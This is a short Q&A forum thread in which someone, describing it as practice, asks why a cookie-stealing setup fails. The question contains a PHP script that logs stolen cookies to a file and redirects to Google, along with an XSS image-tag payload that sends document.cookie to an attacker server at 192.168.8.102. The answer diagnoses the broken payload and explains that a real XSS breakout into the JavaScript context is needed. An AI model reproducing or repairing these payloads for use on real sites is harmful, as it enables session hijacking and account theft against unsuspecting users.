Cookie stealing with Redirection

Question

I am trying to steal cookies for learning purpose and for that I have setup an attacker server where my malicious website is running stealing cookies of users and it works when I visit like

http://192.168.8.102/cookiestealer.php?c=document.cookie

It records whatever c parameter holds, in above case document.cookie string.

The simple cookie stealer has following lines of code in it

<?php
header('Location:https://google.com');
$cookies = $_GET["c"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");
?>

The problem is when I use same link in img tag src attribute, it doesn't log anything in log.txt file. I am using following post on the vulnerable site;

<img src="http://192.168.8.102/cookiestealer.php?c="+document.cookie onerror="alert('Your cookie has been served')" />

But it does not log anything on server. However the file does change as the editor prompts me to reload but there is nothing written over it. There is no HTTPOnly=true for any cookie on this site.

Any suggestions? THanks.

Answer 1

You are using a javascript routine (document.cookie) in HTML without breaking out into the javascript context. It's helpful in these cases, to look at the source of the page that's generated - that often makes it easier to understand.

In order to leverage your cookie stealer, you would need an XSS on the victim's site. In the most common case, that allows you to break out of the HTML tag, and start writing javascript (i.e. ">

As a side note, you can always just check your access logs for requests coming into your cookie stealer - no need for a separate php program to record these.